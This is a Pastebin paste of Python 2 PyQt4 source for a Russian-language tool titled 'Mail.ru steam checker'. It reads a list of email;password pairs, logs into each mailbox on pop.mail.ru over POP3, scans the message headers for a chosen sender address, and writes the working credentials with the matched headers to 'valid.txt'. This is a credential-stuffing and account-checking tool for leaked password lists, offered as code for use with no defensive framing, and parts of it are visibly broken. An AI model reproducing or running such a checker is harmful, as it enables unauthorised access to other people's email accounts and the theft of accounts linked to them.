Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # -*- coding: utf-8 -*-
- #Import
- from PyQt4 import QtCore, QtGui
- from PyQt4.QtCore import *
- from PyQt4.QtGui import *
- import sys
- import poplib, email
- import re
- import time
- from simple_thread import SimpleThread
- #End
- try:
- _fromUtf8 = QtCore.QString.fromUtf8
- except AttributeError:
- def _fromUtf8(s):
- return s
- try:
- _encoding = QtGui.QApplication.UnicodeUTF8
- def _translate(context, text, disambig):
- return QtGui.QApplication.translate(context, text, disambig, _encoding)
- except AttributeError:
- def _translate(context, text, disambig):
- return QtGui.QApplication.translate(context, text, disambig)
- class Worker(QtCore.QThread):
- def __init__(self):
- QtCore.QThread.__init__(self)
- self.window = MainWindow
- def slotDo(self):
- print 'slotDo called in thread:', self.currentThread()
- self.emit(QtCore.SIGNAL('done'))
- def run(self):
- print 'Worker thread:', self.currentThread()
- class Ui_MainWindow(QtGui.QMainWindow):
- #Init thread
- def __init__(self):
- QtGui.QMainWindow.__init__(self)
- self.thread = Worker()
- self.i = 1
- #End
- #Setup GUI
- def setupUi(self, MainWindow):
- MainWindow.setObjectName(_fromUtf8("MainWindow"))
- MainWindow.setEnabled(True)
- MainWindow.resize(585, 404)
- icon = QtGui.QIcon()
- icon.addPixmap(QtGui.QPixmap(_fromUtf8("../../Desktop/Png/32x32/Mail.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off)
- MainWindow.setWindowIcon(icon)
- self.trayIcon = QtGui.QSystemTrayIcon(QtGui.QIcon("../../Desktop/Png/32x32/Mail.png"), app)
- self.centralwidget = QtGui.QWidget(MainWindow)
- self.centralwidget.setObjectName(_fromUtf8("centralwidget"))
- self.log_box = QtGui.QGroupBox(self.centralwidget)
- self.log_box.setGeometry(QtCore.QRect(10, 10, 311, 321))
- self.log_box.setObjectName(_fromUtf8("log_box"))
- self.log_view = QtGui.QTextEdit(self.log_box)
- self.log_view.setGeometry(QtCore.QRect(10, 20, 281, 291))
- self.log_view.setObjectName(_fromUtf8("log_view"))
- self.setting_box = QtGui.QGroupBox(self.centralwidget)
- self.setting_box.setEnabled(True)
- self.setting_box.setGeometry(QtCore.QRect(330, 10, 241, 181))
- self.setting_box.setObjectName(_fromUtf8("setting_box"))
- self.Pop_server_set = QtGui.QLineEdit(self.setting_box)
- self.Pop_server_set.setEnabled(False)
- self.Pop_server_set.setGeometry(QtCore.QRect(10, 40, 221, 20))
- self.Pop_server_set.setReadOnly(True)
- self.Pop_server_set.setObjectName(_fromUtf8("Pop_server_set"))
- self.Pop_server_label = QtGui.QLabel(self.setting_box)
- self.Pop_server_label.setGeometry(QtCore.QRect(90, 20, 61, 16))
- self.Pop_server_label.setObjectName(_fromUtf8("Pop_server_label"))
- self.mail_address_search_label = QtGui.QLabel(self.setting_box)
- self.mail_address_search_label.setGeometry(QtCore.QRect(70, 70, 91, 16))
- self.mail_address_search_label.setObjectName(_fromUtf8("mail_address_search_label"))
- self.mail_address_search_edit = QtGui.QLineEdit(self.setting_box)
- self.mail_address_search_edit.setGeometry(QtCore.QRect(10, 90, 221, 20))
- self.mail_address_search_edit.setObjectName(_fromUtf8("mail_address_search_edit"))
- self.Proxy_server_label = QtGui.QLabel(self.setting_box)
- self.Proxy_server_label.setGeometry(QtCore.QRect(80, 120, 111, 20))
- self.Proxy_server_label.setObjectName(_fromUtf8("Proxy_server_label"))
- self.Proxy_server_edit = QtGui.QLineEdit(self.setting_box)
- self.Proxy_server_edit.setGeometry(QtCore.QRect(10, 140, 221, 20))
- self.Proxy_server_edit.setObjectName(_fromUtf8("Proxy_server_edit"))
- self.run_check = QtGui.QPushButton(self.centralwidget)
- self.run_check.setGeometry(QtCore.QRect(500, 200, 75, 23))
- self.run_check.setObjectName(_fromUtf8("run_check"))
- self.Bad_label_int = QtGui.QGroupBox(self.centralwidget)
- self.Bad_label_int.setGeometry(QtCore.QRect(330, 230, 241, 101))
- self.Bad_label_int.setObjectName(_fromUtf8("Bad_label_int"))
- self.Good_label = QtGui.QLabel(self.Bad_label_int)
- self.Good_label.setGeometry(QtCore.QRect(20, 20, 46, 13))
- self.Good_label.setObjectName(_fromUtf8("Good_label"))
- self.Bad_label = QtGui.QLabel(self.Bad_label_int)
- self.Bad_label.setGeometry(QtCore.QRect(20, 40, 46, 13))
- self.Bad_label.setObjectName(_fromUtf8("Bad_label"))
- self.sum_label = QtGui.QLabel(self.Bad_label_int)
- self.sum_label.setGeometry(QtCore.QRect(20, 80, 46, 13))
- self.sum_label.setObjectName(_fromUtf8("sum_label"))
- self.Error_label = QtGui.QLabel(self.Bad_label_int)
- self.Error_label.setGeometry(QtCore.QRect(20, 60, 46, 13))
- self.Error_label.setObjectName(_fromUtf8("Error_label"))
- self.Good_label_int = QtGui.QLabel(self.Bad_label_int)
- self.Good_label_int.setGeometry(QtCore.QRect(200, 20, 16, 16))
- self.Good_label_int.setObjectName(_fromUtf8("Good_label_int"))
- self.label_8 = QtGui.QLabel(self.Bad_label_int)
- self.label_8.setGeometry(QtCore.QRect(200, 40, 16, 16))
- self.label_8.setObjectName(_fromUtf8("label_8"))
- self.Error_label_int = QtGui.QLabel(self.Bad_label_int)
- self.Error_label_int.setGeometry(QtCore.QRect(200, 60, 16, 16))
- self.Error_label_int.setObjectName(_fromUtf8("Error_label_int"))
- self.sum_label_int = QtGui.QLabel(self.Bad_label_int)
- self.sum_label_int.setGeometry(QtCore.QRect(200, 80, 16, 16))
- self.sum_label_int.setObjectName(_fromUtf8("sum_label_int"))
- self.progressBar = QtGui.QProgressBar(self.centralwidget)
- self.progressBar.setGeometry(QtCore.QRect(0, 340, 621, 23))
- self.progressBar.setProperty("value", 0)
- self.progressBar.setTextVisible(False)
- self.progressBar.setObjectName(_fromUtf8("progressBar"))
- MainWindow.setCentralWidget(self.centralwidget)
- self.menubar = QtGui.QMenuBar(MainWindow)
- self.menubar.setGeometry(QtCore.QRect(0, 0, 585, 21))
- self.menubar.setObjectName(_fromUtf8("menubar"))
- self.menu = QtGui.QMenu(self.menubar)
- self.menu.setObjectName(_fromUtf8("menu"))
- self.menu_2 = QtGui.QMenu(self.menubar)
- self.menu_2.setObjectName(_fromUtf8("menu_2"))
- MainWindow.setMenuBar(self.menubar)
- self.statusbar = QtGui.QStatusBar(MainWindow)
- self.statusbar.setObjectName(_fromUtf8("statusbar"))
- MainWindow.setStatusBar(self.statusbar)
- self.action_exit = QtGui.QAction(MainWindow)
- self.action_exit.setObjectName(_fromUtf8("action_exit"))
- self.action_about = QtGui.QAction(MainWindow)
- self.action_about.setObjectName(_fromUtf8("action_about"))
- self.menu.addAction(self.action_exit)
- self.menu_2.addAction(self.action_about)
- self.menubar.addAction(self.menu.menuAction())
- self.menubar.addAction(self.menu_2.menuAction())
- self.retranslateUi(MainWindow)
- #End
- #Update Ui function
- def updateUi():
- self.log_view.setReadOnly(False)
- self.run_check.setEnabled()(True)
- MainWindow.update()
- #End
- #Signals
- QtCore.QObject.connect(self.thread, QtCore.SIGNAL("finished()"), updateUi)
- QtCore.QObject.connect(self.thread, QtCore.SIGNAL("terminated()"), updateUi)
- QtCore.QObject.connect(self.action_exit, QtCore.SIGNAL(_fromUtf8("triggered()")), MainWindow.close)
- QtCore.QObject.connect(self.action_about, QtCore.SIGNAL(_fromUtf8("triggered()")), MainWindow.raise_)
- #End
- #Main function!!!
- def start_check(self):
- self.progressBar.setValue(10)
- base = open('source.txt', 'r').readlines()
- server = 'pop.mail.ru'
- p = poplib.POP3(server)
- search_address_get = self.mail_address_search_edit.text()
- search_address = str(search_address_get)
- good_int = 0
- bad_int = 0
- error_int = 0
- accs_int = 0
- self.progressBar.setValue(20)
- for line in base:
- MainWindow.repaint()
- p = poplib.POP3(server)
- MainWindow.repaint()
- sBuffer = line
- AccInfo = sBuffer.split(';')
- mail = AccInfo[0]
- MainWindow.repaint()
- passwd=AccInfo[1]
- username = mail
- passwd = passwd
- MainWindow.repaint()
- self.progressBar.setValue(30)
- MainWindow.repaint()
- print p.getwelcome()
- print p.user(username)
- print p.pass_(passwd)
- MainWindow.repaint()
- response, lst, octets = p.list()
- print response
- MainWindow.repaint()
- for msgnum, msgsize in [i.split() for i in lst]:
- self.sleep(3)
- MainWindow.repaint()
- self.progressBar.setValue(40)
- MainWindow.repaint()
- print "Сообщение номер %(msgnum)s Размер сообщения %(msgsize)s" % vars()
- MainWindow.repaint()
- if int(msgsize) > 32000:
- (resp, lines, octets) = p.top(msgnum, 0)
- MainWindow.repaint()
- else:
- (resp, lines, octets) = p.retr(msgnum)
- MainWindow.repaint()
- self.progressBar.setValue(50)
- msgtxt = "\n".join(lines)+"\n\n"
- MainWindow.repaint()
- msg = email.message_from_string(msgtxt)
- MainWindow.repaint()
- self.progressBar.setValue(60)
- len_msg = "\n* Сообщение номер %(msgnum)s имеет длину %(msgsize)s" % vars()
- MainWindow.repaint()
- get_msg = "* Аккаунт " + mail + ";" + passwd + "\n* От: %(from)s\n* Кому: %(to)s\n*" % msg
- msg_encode = get_msg.encode('utf-8')
- MainWindow.repaint()
- self.progressBar.setValue(70)
- MainWindow.repaint()
- search_result = re.search('[<]' + search_address + '[>]', msg_encode)
- MainWindow.repaint()
- if search_result != None:
- MainWindow.repaint()
- f = open('valid.txt', 'a')
- f.write(msg_encode)
- good_int = good_int+1
- MainWindow.repaint()
- self.Good_label.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" font-weight:600;\">Good</span></p></body></html>", None))
- self.Good_label_int.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" color:#55ff00;\">" + str(good_int) + "</span></p></body></html>", None))
- self.log_view.setText(len_msg)
- MainWindow.repaint()
- self.log_view.setText(get_msg)
- MainWindow.repaint()
- self.progressBar.setValue(90)
- MainWindow.repaint()
- else:
- f = open('invalid.txt', 'a')
- MainWindow.repaint()
- MainWindow.repaint()
- f.write(msg_encode)
- bad_int = bad_int+1
- MainWindow.update()
- self.label_8.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" color:#ff007f;\">" + str(bad_int) + "</span></p></body></html>", None))
- self.log_view.setText(unicode(len_msg))
- self.log_view.setText(unicode(get_msg))
- MainWindow.repaint()
- self.progressBar.setValue(90)
- MainWindow.repaint()
- sum_int = bad_int + good_int
- self.progressBar.setValue(100)
- self.sum_label_int.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" color:#5500ff;\">" + str(sum_int) + "</span></p></body></html>", None))
- print p.quit()
- #The end
- #Signals
- def slotClicked():
- self.emit(QtCore.SIGNAL('do'))
- QtCore.QObject.connect(self.run_check, QtCore.SIGNAL('clicked()'), slotClicked)
- def slotDone(self):
- self.i += 1
- #self.MainWindow.show()
- QtCore.QMetaObject.connectSlotsByName(MainWindow)
- #End
- #Ui retranslate
- def retranslateUi(self, MainWindow):
- MainWindow.setWindowTitle(_translate("MainWindow", "MainWindow", None))
- self.log_box.setTitle(_translate("MainWindow", "Лог работы", None))
- self.setting_box.setTitle(_translate("MainWindow", "Настройки", None))
- self.Pop_server_set.setText(_translate("MainWindow", "Используется mail.ru POP сервер", None))
- self.Pop_server_label.setText(_translate("MainWindow", "Pop server", None))
- self.mail_address_search_label.setText(_translate("MainWindow", "Адрес для поиска", None))
- self.Proxy_server_label.setText(_translate("MainWindow", "Прокси-сервер", None))
- self.run_check.setText(_translate("MainWindow", "Начать чек", None))
- self.Bad_label_int.setTitle(_translate("MainWindow", "Статистика", None))
- self.Good_label.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" font-weight:600;\">Good</span></p></body></html>", None))
- self.Bad_label.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" font-weight:600;\">Bad</span></p></body></html>", None))
- self.sum_label.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" font-weight:600;\">Всего</span></p></body></html>", None))
- self.Error_label.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" font-weight:600;\">Ошибок</span></p></body></html>", None))
- self.Good_label_int.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" color:#55ff00;\">0</span></p></body></html>", None))
- self.label_8.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" color:#ff007f;\">0</span></p></body></html>", None))
- self.Error_label_int.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" color:#ff0000;\">0</span></p></body></html>", None))
- self.sum_label_int.setText(_translate("MainWindow", "<html><head/><body><p><span style=\" color:#5500ff;\">0</span></p></body></html>", None))
- self.menu.setTitle(_translate("MainWindow", "Файл", None))
- self.menu_2.setTitle(_translate("MainWindow", "Справка", None))
- self.action_exit.setText(_translate("MainWindow", "Выход", None))
- self.action_about.setText(_translate("MainWindow", "О программе", None))
- self.trayIcon.show()
- self.trayIcon.showMessage(u'Mail.ru steam checker', u'Отображается в трее')
- #End
- #Worker thread
- #------------------
- #End
- if __name__ == "__main__":
- app = QtGui.QApplication(sys.argv)
- MainWindow = QtGui.QMainWindow()
- ui = Ui_MainWindow()
- ui.setupUi(MainWindow)
- MainWindow.show()
- worker = Worker()
- worker.start()
- app.connect(MainWindow, QtCore.SIGNAL('do'), worker.slotDo)
- #app.connect(worker, QtCore.SIGNAL('done'), MainWindow.slotDone)
- print 'Main thread:', app.instance().thread()
- sys.exit(app.exec_())
Advertisement
Add Comment
Please, Sign In to add comment